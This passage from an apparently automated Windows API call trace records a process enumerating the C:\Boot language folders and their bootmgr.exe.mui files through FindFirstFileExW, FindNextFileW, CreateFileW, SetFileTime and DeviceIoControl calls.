lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.523] GetLastError () returned 0x12 [0254.523] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.523] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.524] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.524] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.524] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0254.525] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0254.525] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.530] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.531] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.532] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.532] NtClose (Handle=0x14c) returned 0x0 [0254.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.532] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.532] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.532] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.532] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.532] GetLastError () returned 0x12 [0254.532] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.533] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.533] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.533] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.533] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.533] GetLastError () returned 0x12 [0254.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.533] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.533] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0254.533] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.821] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.826] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.826] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.828] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.828] NtClose (Handle=0x188) returned 0x0 [0254.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.830] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.831] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.831] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.834] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.834] GetLastError () returned 0x12 [0254.835] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.835] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.842] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.842] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.842] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.843] GetLastError () returned 0x12 [0254.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.843] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.845] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0254.845] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.850] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.851] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.851] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.852] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.852] NtClose (Handle=0x14c) returned 0x0 [0254.852] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.852] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.853] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.853] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.853] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.853] GetLastError () returned 0x12 [0254.853] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.853] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.854] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.854] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.854] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.854] GetLastError () returned 0x12 [0254.854] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.854] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.856] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0254.856] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.966] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.966] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.966] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.967] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.967] NtClose (Handle=0x188) returned 0x0 [0254.967] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.967] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.967] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.967] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.967] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.967] GetLastError () returned 0x12 [0254.967] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.967] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.967] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.967] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.967] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, 